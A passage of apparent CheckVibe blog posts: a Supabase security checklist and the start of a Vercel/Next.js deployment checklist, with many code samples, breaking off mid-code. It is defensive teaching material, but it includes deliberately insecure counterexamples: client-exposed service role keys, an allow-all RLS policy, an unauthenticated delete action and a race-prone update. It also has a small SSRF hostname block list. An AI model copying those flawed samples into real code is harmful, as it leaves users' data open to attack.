VALUES ('some-other-org-uuid', 'user-uuid-here', 'Should not work');

-- Reset
RESET role;
```

Every table you add needs this treatment. If you want a second pair of eyes on which of your tables are actually reachable without a policy, the [free Supabase RLS checker](/free-supabase-rls-checker) probes your live project and reports what a stranger with your public key can read.

### 3. Never Use the Service Role Key in Client Code

This is the most dangerous mistake you can make with Supabase. The `SUPABASE_SERVICE_ROLE_KEY` bypasses all RLS policies. If it ends up in your client bundle, an attacker has full, unrestricted database access.

```typescript
// WRONG — this key will be exposed in the browser
const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY! // NEVER DO THIS
);

// CORRECT — use the anon key on the client
const supabase = createClient(
  process.env.NEXT_PUBLIC_SUPABASE_URL!,
  process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY! // This is safe — it's meant to be public
);
```

The service role key should only exist in server-side code: API routes, server actions, edge functions, and cron jobs. Never prefix it with `NEXT_PUBLIC_`.

### 4. Protect Anon Key Exposure in Client Bundles

Your anon key is designed to be public — but that does not mean you should be careless about what else ships alongside it. Audit your client bundle for:

- Service role keys accidentally bundled via shared config files
- Database connection strings (these should never exist client-side)
- Internal API keys for third-party services

```typescript
// In your Next.js config, verify ONLY these are NEXT_PUBLIC_:
// NEXT_PUBLIC_SUPABASE_URL — safe
// NEXT_PUBLIC_SUPABASE_ANON_KEY — safe
// Everything else: server-only
```

Use a tool like [CheckVibe's API key scanner](/blog/api-key-leak-detection) or manually search your built output for key patterns.

### 5. Enable Email Confirmation

By default, Supabase lets users sign up and immediately access your app without confirming their email. This allows attackers to create accounts with fake emails.

In the Supabase Dashboard, go to **Authentication > Settings** and enable:

- **Confirm email** — requires users to click a confirmation link
- **Secure email change** — requires confirmation before email updates

```typescript
// In your signup handler, check email confirmation status
const { data: { user } } = await supabase.auth.getUser();

if (user && !user.email_confirmed_at) {
  return NextResponse.json(
    { error: 'Please confirm your email address' },
    { status: 403 }
  );
}
```

### 6. Supabase Password Requirements: Raise the Minimum

Supabase defaults to a minimum password length of 6 characters. That is too weak for production, and Supabase's own docs say anything under 8 is not recommended.

All of this is configurable under **Authentication > Sign In / Providers > Email** in the Dashboard. Four settings matter:

- **Minimum password length.** Raise it to at least 8. For anything touching payments, health data, or admin access, use 12.
- **Required characters.** Supabase can require digits, lowercase letters, uppercase letters, and symbols. The allowed symbol set is ``!@#$%^&*()_+-=[]{};'\:"|<>?,./`~``.
- **Leaked password protection.** Supabase Auth checks new passwords against the open-source [HaveIBeenPwned Pwned Passwords API](https://haveibeenpwned.com/Passwords) and rejects any password known to have been breached. This is the single highest-value setting on the page, because credential stuffing beats length requirements. Per Supabase's docs it is available on the Pro Plan and above.
- **Reauthentication on password change.** Require either a recent session (a nonce sent via `supabase.auth.reauthenticate()`) or the current password before a change goes through. Without it, anyone who gets a live session — a borrowed laptop, a stolen token — can lock the real owner out.

One thing to know before you tighten the rules: existing users are not locked out. They can keep signing in, but Supabase returns a `WeakPasswordError` on `signInWithPassword` explaining why the password no longer meets your policy, which gives you a natural place to prompt for an upgrade.

These settings are enforced server-side, which is what actually counts. Mirror them in your signup form only so users get feedback before a round trip:

```typescript
// UX only — the Supabase Auth settings above are the real enforcement
function validatePassword(password: string): string | null {
  if (password.length < 12) return 'Password must be at least 12 characters';
  if (!/[A-Z]/.test(password)) return 'Password must contain an uppercase letter';
  if (!/[a-z]/.test(password)) return 'Password must contain a lowercase letter';
  if (!/[0-9]/.test(password)) return 'Password must contain a number';
  if (!/[!@#$%^&*()_+\-=[\]{};':"|<>?,./`~\\]/.test(password)) {
    return 'Password must contain a symbol';
  }
  return null;
}
```

Never do the reverse — validating only on the client while leaving the Supabase minimum at 6 means any request that skips your form gets a 6-character password.

### 7. Configure MFA for Sensitive Operations

For apps that handle payments, personal data, or admin operations, Multi-Factor Authentication adds a critical second layer.

Supabase supports TOTP-based MFA out of the box:

```typescript
// Enroll a user in MFA
const { data, error } = await supabase.auth.mfa.enroll({
  factorType: 'totp',
  friendlyName: 'Authenticator App',
});

// Verify MFA challenge before sensitive operations
const { data: challenge } = await supabase.auth.mfa.challenge({
  factorId: factorId,
});

const { data: verify } = await supabase.auth.mfa.verify({
  factorId: factorId,
  challengeId: challenge.id,
  code: userProvidedCode, // 6-digit TOTP code
});
```

You can also use RLS policies to require MFA at the database level using `auth.jwt() ->> 'aal'`:

```sql
-- Only allow access if user has completed MFA (AAL2)
CREATE POLICY "Require MFA for sensitive data"
  ON sensitive_table FOR ALL
  USING ((auth.jwt() ->> 'aal') = 'aal2');
```

### 8. Restrict Storage Bucket Access with Policies

Supabase Storage uses the same RLS-style policies as the database. Without policies, uploaded files may be accessible to anyone.

```sql
-- Users can only upload to their own folder
CREATE POLICY "Users upload to own folder"
  ON storage.objects FOR INSERT
  WITH CHECK (
    bucket_id = 'avatars' AND
    auth.uid()::text = (storage.foldername(name))[1]
  );

-- Users can only read their own files
CREATE POLICY "Users read own files"
  ON storage.objects FOR SELECT
  USING (
    bucket_id = 'avatars' AND
    auth.uid()::text = (storage.foldername(name))[1]
  );

-- Users can delete their own files
CREATE POLICY "Users delete own files"
  ON storage.objects FOR DELETE
  USING (
    bucket_id = 'avatars' AND
    auth.uid()::text = (storage.foldername(name))[1]
  );
```

Never create public buckets for user-uploaded content unless you explicitly want every file to be world-readable.

### 9. Use Signed URLs for Private File Access

For files that should not be publicly accessible, use signed URLs with short expiry times instead of public URLs:

```typescript
// WRONG — public URL, accessible forever
const { data } = supabase.storage
  .from('documents')
  .getPublicUrl('invoice.pdf');

// CORRECT — signed URL, expires in 60 seconds
const { data, error } = await supabase.storage
  .from('documents')
  .createSignedUrl('invoice.pdf', 60);
```

Signed URLs are cryptographically verified and expire after the specified duration. Use them for invoices, private documents, user uploads, and anything that should not be permanently linkable.

### 10. Validate Inputs in Edge Functions

Supabase Edge Functions run on Deno and accept arbitrary HTTP requests. Validate everything:

```typescript
import { serve } from 'https://deno.land/std@0.177.0/http/server.ts';

serve(async (req) => {
  // Validate HTTP method
  if (req.method !== 'POST') {
    return new Response('Method not allowed', { status: 405 });
  }

  // Parse and validate body
  let body;
  try {
    body = await req.json();
  } catch {
    return new Response('Invalid JSON', { status: 400 });
  }

  // Validate required fields
  const { email, action } = body;
  if (typeof email !== 'string' || !email.includes('@')) {
    return new Response('Invalid email', { status: 400 });
  }

  const VALID_ACTIONS = ['subscribe', 'unsubscribe'];
  if (!VALID_ACTIONS.includes(action)) {
    return new Response('Invalid action', { status: 400 });
  }

  // Validate URL inputs against SSRF
  if (body.webhookUrl) {
    const url = new URL(body.webhookUrl);
    if (['localhost', '127.0.0.1', '0.0.0.0'].includes(url.hostname)) {
      return new Response('Invalid URL', { status: 400 });
    }
  }

  // Proceed safely...
});
```

Pay special attention to SSRF protection — if your edge function fetches user-provided URLs, validate that they do not point to internal infrastructure.

### 11. Set Up Rate Limiting on Auth Endpoints

Supabase has built-in rate limiting, but the defaults may be too permissive for your use case. In the Dashboard under **Authentication > Rate Limits**, configure:

- **Sign-up rate limit** — prevent mass account creation (recommended: 5 per hour per IP)
- **Sign-in rate limit** — prevent brute force attacks (recommended: 10 per hour per IP)
- **Token refresh rate limit** — prevent token abuse

For API routes that call Supabase, add application-level rate limiting:

```typescript
import { headers } from 'next/headers';

const RATE_LIMIT_WINDOW = 60 * 1000; // 1 minute
const MAX_REQUESTS = 10;
const rateLimitMap = new Map<string, { count: number; resetAt: number }>();

function checkRateLimit(ip: string): boolean {
  const now = Date.now();
  const entry = rateLimitMap.get(ip);

  if (!entry || now > entry.resetAt) {
    rateLimitMap.set(ip, { count: 1, resetAt: now + RATE_LIMIT_WINDOW });
    return true;
  }

  if (entry.count >= MAX_REQUESTS) return false;
  entry.count++;
  return true;
}
```

For production, use a database-backed or Redis-backed rate limiter rather than an in-memory map.

### 12. Enable SSL Enforcement

Ensure all connections to your Supabase database require SSL. In the Dashboard under **Settings > Database**, verify that SSL enforcement is enabled.

For direct database connections (e.g., from a migration script or admin tool), always use the SSL connection string:

```bash
# Always use the SSL-enabled connection string
postgresql://postgres:[password]@db.[ref].supabase.co:5432/postgres?sslmode=require
```

Never disable SSL verification in production, even if it "fixes" a connection issue during development.

### 13. Use Database Functions for Atomic Operations

Read-then-write patterns are vulnerable to race conditions. If you read a value, check it, then update it, another request can slip in between the read and the write.

```typescript
// VULNERABLE — race condition between read and write
const { data: profile } = await supabase
  .from('profiles')
  .select('scan_count, scan_limit')
  .eq('id', userId)
  .single();

if (profile.scan_count >= profile.scan_limit) {
  return NextResponse.json({ error: 'Limit reached' }, { status: 429 });
}

// Another request could increment scan_count here!
await supabase
  .from('profiles')
  .update({ scan_count: profile.scan_count + 1 })
  .eq('id', userId);
```

Instead, use a PostgreSQL function that performs the check and update atomically:

```sql
CREATE OR REPLACE FUNCTION increment_scan_usage(p_user_id uuid)
RETURNS json
LANGUAGE plpgsql
SECURITY DEFINER
SET search_path = public
AS $$
DECLARE
  v_count int;
  v_limit int;
BEGIN
  SELECT scan_count, scan_limit INTO v_count, v_limit
  FROM profiles WHERE id = p_user_id
  FOR UPDATE; -- Row-level lock prevents race conditions

  IF v_count >= v_limit THEN
    RETURN json_build_object('allowed', false, 'current', v_count, 'limit', v_limit);
  END IF;

  UPDATE profiles SET scan_count = v_count + 1 WHERE id = p_user_id;
  RETURN json_build_object('allowed', true, 'current', v_count + 1, 'limit', v_limit);
END;
$$;
```

```typescript
// SAFE — atomic operation, no race condition
const { data, error } = await supabase.rpc('increment_scan_usage', {
  p_user_id: userId,
});

if (!data.allowed) {
  return NextResponse.json({ error: 'Limit reached' }, { status: 429 });
}
```

### 14. Audit with Supabase Security Advisor

Supabase includes a built-in Security Advisor under **Database > Security Advisor** in the Dashboard. It checks for:

- Tables without RLS enabled
- Overly permissive RLS policies
- Functions with `SECURITY DEFINER` that do not set `search_path`
- Unused or orphaned roles

Run this before every release. It takes 30 seconds and catches the most common configuration mistakes.

### 15. Run Automated Security Scans Regularly

Manual checklists are a point-in-time check. Your app changes with every deployment. Security scanning should be automated and continuous.

Set up scans that check for:

- Exposed API keys in your client bundle
- Missing or misconfigured security headers
- Open redirect vulnerabilities
- CORS misconfigurations
- Auth endpoints without rate limiting
- RLS policy gaps

[CheckVibe](https://checkvibe.dev) runs 36 security checks including a [dedicated Supabase scanner](/blog/secure-nextjs-supabase-app) that detects RLS misconfigurations, exposed keys, auth issues, and more. You can run scans manually or schedule them daily or weekly.

## Common Supabase Security Mistakes

These are real patterns we see repeatedly in scanned applications.

### Mistake 1: RLS Enabled but No Policies

Developers enable RLS (good) but then create an overly broad policy to "make things work" (bad):

```sql
-- DANGEROUS — this grants full access to everyone, defeating the purpose of RLS
CREATE POLICY "Allow all" ON documents
  FOR ALL USING (true) WITH CHECK (true);
```

**Fix:** Write specific policies for each operation (SELECT, INSERT, UPDATE, DELETE) scoped to the authenticated user:

```sql
CREATE POLICY "Owner read" ON documents
  FOR SELECT USING (auth.uid() = user_id);

CREATE POLICY "Owner insert" ON documents
  FOR INSERT WITH CHECK (auth.uid() = user_id);

CREATE POLICY "Owner update" ON documents
  FOR UPDATE USING (auth.uid() = user_id)
  WITH CHECK (auth.uid() = user_id);

CREATE POLICY "Owner delete" ON documents
  FOR DELETE USING (auth.uid() = user_id);
```

### Mistake 2: Using Supabase Client in Server Components Without Proper Auth

Server Components in Next.js run on the server, but the Supabase client still uses the user's session. A common mistake is assuming server = trusted:

```typescript
// WRONG — fetching data without checking who the user is
export default async function DashboardPage() {
  const supabase = await createClient();
  const { data } = await supabase.from('projects').select('*');
  // This returns ALL projects the RLS policy allows —
  // but did you verify RLS is correctly configured?
  return <ProjectList projects={data} />;
}

// CORRECT — explicitly verify the user and scope queries
export default async function DashboardPage() {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) redirect('/login');

  const { data } = await supabase
    .from('projects')
    .select('*')
    .eq('user_id', user.id); // Defense in depth — don't rely solely on RLS

  return <ProjectList projects={data} />;
}
```

### Mistake 3: Trusting Client-Submitted User IDs

Never let the client tell you who they are. Always derive the user ID from the authenticated session:

```typescript
// WRONG — user_id comes from the request body
export async function POST(req: Request) {
  const { user_id, title } = await req.json();
  await supabase.from('posts').insert({ user_id, title }); // Attacker can set any user_id
}

// CORRECT — user_id comes from the authenticated session
export async function POST(req: Request) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();
  if (!user) return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });

  const { title } = await req.json();
  await supabase.from('posts').insert({ user_id: user.id, title });
}
```

### Mistake 4: Forgetting DELETE Policies

Many developers write SELECT and INSERT policies but forget DELETE. Without an explicit DELETE policy (when RLS is enabled), users cannot delete anything — which sounds safe until you realize some apps need controlled deletion, and developers bypass RLS with service_role as a workaround:

```sql
-- Add explicit DELETE policies scoped to the owner
CREATE POLICY "Owner delete" ON posts
  FOR DELETE USING (auth.uid() = user_id);
```

## How CheckVibe Detects Supabase Issues

[CheckVibe](https://checkvibe.dev) includes a dedicated Supabase security scanner that runs automated checks against your live application. It detects:

- **Exposed keys** — Scans your client-side JavaScript bundle for service role keys, database connection strings, and other secrets that should be server-only
- **RLS configuration** — Detects publicly accessible Supabase endpoints and tests for missing or overly permissive RLS policies
- **Auth configuration** — Checks for email confirmation settings, password requirements, and OAuth misconfigurations
- **Security headers** — Verifies CSP, HSTS, X-Frame-Options, and other headers that protect against common web attacks
- **API exposure** — Maps your Supabase API surface and flags endpoints that accept unauthenticated requests

The scanner runs alongside 35 other security checks covering [security headers](/blog/security-headers-complete-guide), [XSS](/blog/find-xss-vulnerabilities), [CORS misconfigurations](/blog/cors-misconfiguration-guide), [API security](/blog/api-security-checklist), and more. You can run a [free scan](https://checkvibe.dev) in under a minute.

## FAQ

### Is Supabase secure by default?

Partially. Supabase provides strong primitives — PostgreSQL, RLS, JWT auth, encrypted connections. But several critical features require explicit configuration. RLS is disabled on new tables. Email confirmation is off by default. Password minimum length defaults to 6 characters. Supabase gives you the tools, but you need to use them.

### Is the Supabase anon key safe to expose?

Yes — it is designed to be public and already sits in your JavaScript bundle. Open DevTools, search for `eyJ` or `sb_publishable_`, and you will find it. Exposure is not the vulnerability; a missing RLS policy is. The key only grants what your policies grant. The key that must never leak is `service_role` (or `sb_secret_...`), which bypasses RLS entirely.

### What happens if RLS is off?

Your table is served to the public internet. Supabase auto-generates a REST endpoint for every table in the `public` schema, and with RLS off, anyone holding your project URL and public key can select, insert, update, and delete rows without authenticating. They only need the table name, which is often guessable or visible in your bundle. RLS off means open, not closed.

### How do I rotate Supabase keys?

For the new format, create a replacement in **Settings > API Keys**, deploy it everywhere, then delete the old secret key — deletion is irreversible, so ship first and delete second. Legacy `anon` and `service_role` keys stay valid until you explicitly disable them, so the migration is: add publishable and secret keys alongside, move your code across, then disable the legacy pair. Rotating a JWT signing key does not sign existing users out.

### How do I test my RLS policies?

Two layers. In the SQL Editor, set the request JWT claims, switch to the `authenticated` role, and run the same reads and writes your app runs — you should see only that user's rows, and cross-user writes should fail. Then test end to end by calling your API with two different user tokens and confirming neither can reach the other's data. Automate both in CI.

### How often should I audit my Supabase security?

At minimum, audit after every schema change (new tables, new columns, new policies). Ideally, run automated scans on every deployment. Security configurations drift over time — a new developer adds a table without RLS, a migration drops a policy, a feature flag exposes an admin endpoint. Continuous scanning catches these regressions before attackers do.

## TL;DR Checklist

Quick reference for your next Supabase launch:

- [ ] RLS enabled on every table in `public` schema
- [ ] Restrictive RLS policies for SELECT, INSERT, UPDATE, DELETE
- [ ] Tenant isolation policies use a `SECURITY DEFINER` helper, `TO authenticated`, and `(SELECT auth.uid())`
- [ ] Secret key (`service_role` / `sb_secret_...`) only used server-side, never `NEXT_PUBLIC_`
- [ ] Legacy `anon` / `service_role` keys migrated to publishable + secret (legacy deprecated end of 2026)
- [ ] Client bundle audited for leaked secrets
- [ ] Email confirmation enabled
- [ ] Password minimum length 8+ (12 for sensitive data), required characters set
- [ ] Leaked-password protection (HaveIBeenPwned) enabled — Pro plan and above
- [ ] MFA configured for sensitive operations
- [ ] Storage bucket policies restrict access per user
- [ ] Signed URLs used for private files (not public URLs)
- [ ] Edge Function inputs validated and sanitized
- [ ] Rate limiting configured on auth and API endpoints
- [ ] SSL enforcement enabled on database connections
- [ ] Atomic database functions replace read-then-write patterns
- [ ] Supabase Security Advisor run and clean
- [ ] Automated security scans running on a schedule

Security is not a one-time task. It is a practice. Set up automated scanning, review your policies on every schema change, and treat this checklist as a living document.

Need a quick security check? [Run a free CheckVibe scan](https://checkvibe.dev) — it takes less than a minute and covers Supabase-specific issues alongside 35 other security checks for your [Next.js + Supabase application](/blog/how-to-secure-vibe-coded-app).


---

## Vercel Deployment Security: The Production Checklist for Next.js

*A production security checklist for Next.js on Vercel: environment variables, headers, deployment protection, edge middleware and the usual misconfigurations.*

Published: 2026-03-22 | Reading time: 22 min read
URL: https://checkvibe.dev/blog/vercel-deployment-security-checklist


You have deployed to Vercel. It is live. But is it secure?

Vercel makes deployment effortless. Push to main, get a production URL in under a minute. That speed is genuinely impressive, but it also means security decisions that used to happen during a manual deployment process now happen (or don't happen) automatically. The defaults are reasonable, not bulletproof.

We scan thousands of Vercel-hosted Next.js apps at CheckVibe. The same security gaps appear repeatedly. Not because developers are careless, but because Vercel's deployment experience is so smooth that the security configuration step gets skipped entirely.

Here is the 10-point checklist we recommend for every Next.js app running on Vercel.

## The 10-Point Vercel Deployment Security Checklist

### 1. Environment Variables: Never Prefix Secrets with NEXT_PUBLIC_

This is the single most common security mistake in Next.js applications, and Vercel's environment variable UI makes it easy to overlook. Any variable prefixed with `NEXT_PUBLIC_` is bundled into client-side JavaScript and shipped to every visitor's browser.

**Dangerous:**

```env
NEXT_PUBLIC_DATABASE_URL=postgresql://user:password@host/db
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_abc123...
NEXT_PUBLIC_SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOi...
```

Every one of those values is now visible in the browser's developer tools. Anyone can extract them from your JavaScript bundle.

**Correct approach:**

```env
# Client-safe (public keys only)
NEXT_PUBLIC_SUPABASE_URL=https://xyz.supabase.co
NEXT_PUBLIC_SUPABASE_ANON_KEY=eyJhbGciOi...
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_...

# Server-only (no NEXT_PUBLIC_ prefix)
SUPABASE_SERVICE_ROLE_KEY=eyJhbGciOi...
STRIPE_SECRET_KEY=sk_live_abc123...
DATABASE_URL=postgresql://user:password@host/db
```

Store server-only variables in the Vercel dashboard under Project Settings > Environment Variables. Do not commit them to `.env` files in your repository. Set the scope (Production, Preview, Development) appropriately so staging environments do not use production credentials.

**Rule:** If a key grants write access, admin privileges, or bypasses security policies, it must never carry the `NEXT_PUBLIC_` prefix. For more on this pattern, see our guide on [Next.js security best practices](/blog/nextjs-security-best-practices).

### 2. Security Headers in next.config.ts

Vercel does not add security headers by default. Without explicit configuration, your Next.js app ships with no Content-Security-Policy, no HSTS preload, no clickjacking protection, and no referrer controls. You need to set these yourself.

```typescript
// next.config.ts
import type { NextConfig } from 'next';

const nextConfig: NextConfig = {
  async headers() {
    return [
      {
        source: '/(.*)',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: [
              "default-src 'self'",
              "script-src 'self' 'unsafe-inline'",
              "style-src 'self' 'unsafe-inline'",
              "img-src 'self' data: https:",
              "font-src 'self'",
              "connect-src 'self' https://*.supabase.co https://api.stripe.com",
              "frame-ancestors 'none'",
            ].join('; '),
          },
          {
            key: 'Strict-Transport-Security',
            value: 'max-age=31536000; includeSubDomains; preload',
          },
          {
            key: 'X-Frame-Options',
            value: 'DENY',
          },
          {
            key: 'X-Content-Type-Options',
            value: 'nosniff',
          },
          {
            key: 'Referrer-Policy',
            value: 'strict-origin-when-cross-origin',
          },
          {
            key: 'Permissions-Policy',
            value: 'camera=(), microphone=(), geolocation=()',
          },
        ],
      },
    ];
  },
};

export default nextConfig;
```

Adjust the `connect-src` directive to include your actual API domains. If you use analytics or third-party scripts, add those origins to the appropriate directives. The goal is to be as restrictive as possible while keeping your app functional.

For a deep dive on each header, see our [complete security headers guide](/blog/security-headers-complete-guide).

### 3. Deployment Protection for Preview and Staging

Every pull request on Vercel generates a unique preview deployment URL. By default, these are publicly accessible. If your preview environments connect to production databases or contain unreleased features, anyone with the URL can access them.

**Enable deployment protection:**

1. Go to **Project Settings > Deployment Protection** in Vercel
2. Enable **Vercel Authentication** for preview deployments (requires a Vercel account to access)
3. For sensitive staging environments, enable **Password Protection** as an additional layer (Enterprise, or the paid Advanced Deployment Protection add-on on Pro)
4. Consider enabling **Protection Bypass for Automation** only if CI/CD tools need access, and use short-lived tokens

Preview URLs follow a predictable pattern (`project-name-git-branch-name-team.vercel.app`), which means they are discoverable. Do not assume obscurity protects them.

The full walkthrough — every protection method, which plan each one needs, and how to lock down production when your plan does not include Password Protection — is in the private deployment section below.

### 4. Server Actions Security: Validate Inputs and Check Auth

Next.js Server Actions are convenient. They look like function calls. They are actually POST endpoints. Every Server Action is an HTTP endpoint that can be called directly with `fetch` or `curl`, bypassing your UI entirely.

**Vulnerable:**

```typescript
// app/actions.ts
'use server';

export async function deleteUser(userId: string) {
  await db.query('DELETE FROM users WHERE id = $1', [userId]);
}
```

Anyone can call this action with a forged request. There is no authentication, no authorization, and no input validation.

**Fixed:**

```typescript
// app/actions.ts
'use server';

import { createClient } from '@/lib/supabase/server';
import { z } from 'zod';

const deleteUserSchema = z.object({
  userId: z.string().uuid(),
});

export async function deleteUser(userId: string) {
  const parsed = deleteUserSchema.safeParse({ userId });
  if (!parsed.success) {
    throw new Error('Invalid input');
  }

  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    throw new Error('Unauthorized');
  }

  // Check admin role
  const { data: profile } = await supabase
    .from('profiles')
    .select('role')
    .eq('id', user.id)
    .single();

  if (profile?.role !== 'admin') {
    throw new Error('Forbidden');
  }

  await db.query('DELETE FROM users WHERE id = $1', [parsed.data.userId]);
}
```

**Rule:** Treat every Server Action exactly like an API route. Validate all inputs with a schema library. Check authentication and authorization on every call.

### 5. API Route Authentication: No Public Mutation Endpoints

Every file in `app/api/` is a publicly accessible HTTP endpoint. Next.js does not enforce any authentication by default. This means every route that reads or writes data must verify the caller's identity.

```typescript
// app/api/projects/route.ts
import { createClient } from '@/lib/supabase/server';

export async function POST(request: Request) {
  const supabase = await createClient();
  const { data: { user } } = await supabase.auth.getUser();

  if (!user) {
    return Response.json({ error: 'Unauthorized' }, { status: 401 });
  }

  const body = await request.json();

  // Validate and sanitize input before processing
  // ... your logic here

  return Response.json({ success: true });
}
```

Do not rely on client-side routing to "hide" API routes. Bots and attackers will discover them through JavaScript bundle analysis, brute-force path scanning, or error messages that leak route structures.

### 6. Edge Middleware for Auth: Protect Routes Before They Render

Middleware in Next.js runs at the edge before any page or API route is reached. Use it to enforce authentication on protected routes, redirect unauthenticated users, and apply rate limiting.

```typescript
// middleware.ts
import { createServerClient } from '@supabase/ssr';
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export async function middleware(request: NextRequest) {
  let response = NextResponse.next({
    request: { headers: request.headers },
  });

  const supabase = createServerClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!,
    {
      cookies: {
        getAll() {
          return request.cookies.getAll();
        },
        setAll(cookiesToSet) {
          cookiesToSet.forEach(({ name, value, options }) => {
            response.cookies.set(name, value, options);
          });
        },
      },
    }
  );

  const { data: { user } } = await supabase.auth.getUser();

  if (!user && request.nextUrl.pathname.startsWith('/dashboard')) {
    const redirectUrl = request.nextUrl.clone();
    redirectUrl.pathname = '/login';
    return NextResponse.redirect(redirectUrl);
  }

  return response;
}

export const config = {
  matcher: ['/dashboard/:path*', '/api/projects/:path*', '/api/keys/:path*'],
};
```

The `matcher` configuration is critical. Without it, middleware runs on every request including static assets, which hurts performance. Be explicit about which paths need protection.

### 7. CORS Configuration: Do Not Use Wildcards in Production

Using `Access-Control-Allow-Origin: *` in production means any website on the internet can make authenticated requests to your API from a user's browser.

```typescript
// app/api/data/route.ts
const ALLOWED_ORIGINS = [
  'https://yourdomain.com',
  'https://app.yourdomain.com',
];

export async function GET(request: Request) {
  const origin = request.headers.get('origin') ?? '';

  if (!ALLOWED_ORIGINS.includes(origin)) {
    return new Response('Forbidden', { status: 403 });
  }

  const data = { /* ... */ };

  return Response.json(data, {
    headers: {
      'Access-Control-Allow-Origin': origin,
      'Access-Control-Allow-Methods': 'GET, POST, OPTIONS',
      'Access-Control-Allow-Headers': 'Content-Type, Authorization',
    },
  });
}
```

Be explicit about which origins can access your API. If you have multiple subdomains, list them individually rather than using a broad regex that could match unintended domains. For background on CORS misconfigurations and their impact, see our [CORS misconfiguration guide](/blog/cors-misconfiguration-guide).

### 8. Vercel WAF and DDoS Protection: Know What Is Covered

Vercel provides built-in DDoS protection and, on Pro and Enterprise plans, a Web Application Firewall (WAF). Understanding the boundary of these protections is important.

**What Vercel handles automatically:**
- Volumetric DDoS attacks (network-layer flooding)
- Bot detection and challenge pages
- Basic rate limiting at the edge

**What Vercel does not handle for you:**
- Application-layer attacks (SQL injection, XSS payloads in form data)
- Business logic abuse (credential stuffing, API scraping)
- Input validation and sanitization
- Authentication and authorization

Vercel's WAF rules (available on Pro plans) let you block traffic by IP, country, path pattern, and request header. Use them to restrict access to admin routes, block known bad IPs, and limit traffic to specific paths.

Do not assume the WAF replaces application-level security. It is a complementary layer, not a substitute for validating inputs and checking auth in your code.

### 9. Source Maps and Logs Protection

By default, Next.js generates source maps in production builds. If these are exposed, attackers can read your original source code, understand your application logic, and find vulnerabilities more easily.

**Disable source maps in production:**

```typescript
// next.config.ts
const nextConfig: NextConfig = {
  productionBrowserSourceMaps: false,
  // ... other config
};
```

In the Vercel dashboard, check **Project Settings > Security** for options related to:
- **Source Protection** prevents direct access to deployment source
- **Log Drains** ensure sensitive data in logs is routed to secure destinations
- **Function Logs** may contain request bodies and error details; avoid logging secrets

Also verify that your error handling does not expose stack traces or internal paths to end users. Use generic error messages in production responses.

### 10. Git Fork Protection: Prevent Unauthorized Deployments

If your repository is public or accepts contributions from external forks, Vercel will build and deploy preview environments for forked pull requests by default. This means an attacker could submit a PR that modifies your build configuration, injects malicious code, or exfiltrates environment variables during the build step.

**Mitigate this:**

1. Go to **Project Settings > Git** in Vercel
2. Disable **Build for Fork PRs** or enable **Require Approval** for fork deployments
3. Never expose production environment variables to preview deployments from forks
4. Review Vercel's environment variable scoping: set secrets to "Production" scope only

For open-source projects, this is especially important. A forked PR can run arbitrary code during `npm run build`, which has access to any environment variables scoped to preview deployments.

## How to Make a Vercel Deployment Private

"Private" means two different things depending on who is asking. Sometimes you want previews locked down while production stays open to the world. Sometimes you want the whole project, production domain included, behind a login. Vercel handles both through **Deployment Protection** — and your plan decides how far you can take it.

### Step 1: Open Deployment Protection and Pick a Method

1. From the Vercel dashboard, select your project
2. Open **Settings > Deployment Protection**
3. Choose a **method** (how visitors prove they are allowed in) and a **scope** (which URLs it covers)

The methods, per Vercel's documentation:

| Method | What it does | Plan |
| --- | --- | --- |
| **Vercel Authentication** | Only Vercel users with access to the project can open the deployment | All plans |
| **Password Protection** | One shared password gates the deployment | Enterprise, or the paid Advanced Deployment Protection add-on on Pro |
| **Trusted IPs** | Only requests from an allowlist of IPv4 addresses get through | Enterprise |
| **Passport** | Visitors authenticate through your own identity provider | Enterprise |

### Step 2: Choose What the Protection Covers

| Scope | Covers | Plan |
| --- | --- | --- |
| **Standard Protection** | Every deployment except your production domains | All plans |
| **All Deployments** | Everything, production domains included | Pro and Enterprise |

On the Hobby (free) plan, the practical combination is Vercel Authentication with Standard Protection: preview URLs and generated deployment URLs require a Vercel login, and your production domain stays public. Making a production domain private with Vercel's own tooling means Pro or Enterprise (All Deployments), or Enterprise Trusted IPs if you want production restricted while previews stay open.

Two things to know before you flip it on. Deployment Protection authenticates every request, including requests that would have reached your middleware — so your own auth code never runs for a blocked visitor. And once Standard Protection is enabled, the generated production URL is no longer public, which breaks any fetch built from `VERCEL_URL` or `VERCEL_BRANCH_URL`.

```typescript
// Before — breaks once the generated URL is protected
await fetch(`https://${process.env.VERCEL_URL}/api/stats`);

// After — same origin, so the visitor's auth cookie travels with it
await fetch('/api/stats');
```

For server-side calls, build the URL from the incoming request's origin and forward the request cookies rather than reaching for `VERCEL_URL`.

### Are Preview Deployment URLs Public? Unlisted Is Not Private

Vercel's docs are unambiguous: a generated deployment URL "is publicly accessible by default," and you configure it to be private using Deployment Protection. Until you do, there is no password, no login, and no guarantee it stays out of search results — only a URL that is hard to guess.

```text
project-name-git-branch-name-team.vercel.app   # branch URL, follows the latest commit
project-name-a1b2c3d4e-team.vercel.app         # commit URL, frozen at that build
```

Hard to guess is not the same as secret. Nobody has to guess these, because they get pasted into pull request comments, Slack threads, Linear tickets, and screenshots. The branch URL format is also partly derivable: on a public repo, the project name, branch name, and team slug are all public information.

So the honest description of an unprotected preview is: reachable by anyone who ever sees the link, for as long as your deployment retention policy keeps it alive. Whatever that preview points at — a staging database with a copy of production, a live Stripe test key, an unreleased feature — is reachable too.

### Make a Deployment Private on Any Plan with Middleware

If Password Protection is not in your plan and you still need the whole site gated, do it in `middleware.ts`. It runs at the edge before any page or route handler, so nothing renders for a visitor who cannot authenticate.

```typescript
// middleware.ts — HTTP Basic auth across the whole app
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

function safeEqual(a: string, b: string) {
  if (a.length !== b.length) return false;
  let diff = 0;
